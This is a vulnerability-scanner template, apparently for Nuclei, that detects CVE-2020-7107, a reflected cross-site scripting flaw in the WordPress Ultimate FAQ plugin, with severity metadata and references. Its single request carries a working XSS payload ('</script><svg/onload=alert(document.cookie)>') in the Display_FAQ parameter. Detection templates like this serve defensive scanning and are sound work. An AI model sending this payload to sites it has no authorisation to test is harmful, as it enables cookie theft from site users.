id: CVE-2020-7107

info:
  name: WordPress Ultimate FAQ <1.8.30 - Cross-Site Scripting
  author: theamanrawat
  severity: medium
  description: |
    WordPress Ultimate FAQ plugin before 1.8.30 is susceptible to cross-site scripting via Display_FAQ to Shortcodes/DisplayFAQs.php. An attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
  remediation: Fixed in version 1.8.30.
  reference:
    - https://wpscan.com/vulnerability/5e1cefd5-5369-44bd-aef7-2a382c8d8e33
    - https://wordpress.org/plugins/ultimate-faqs/
    - https://plugins.trac.wordpress.org/changeset/2222959/ultimate-faqs/tags/1.8.30/Shortcodes/DisplayFAQs.php
    - https://nvd.nist.gov/vuln/detail/CVE-2020-7107
    - https://wordpress.org/plugins/ultimate-faqs/#developers
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2020-7107
    cwe-id: CWE-79
    epss-score: 0.00517
    epss-percentile: 0.74065
    cpe: cpe:2.3:a:etoilewebdesign:ultimate_faq:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: etoilewebdesign
    product: ultimate_faq
    framework: wordpress
  tags: ultimate-faqs,wpscan,cve,cve2020,xss,wordpress,wp-plugin,wp

http:
  - method: GET
    path:
      - "{{BaseURL}}/?Display_FAQ=%3C/script%3E%3Csvg/onload=alert(document.cookie)%3E"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "'</script><svg/onload=alert(document.cookie)>"
          - "var Display_FAQ_ID ="
        condition: and

      - type: word
        part: header
        words:
          - "text/html"

      - type: status
        status:
          - 200

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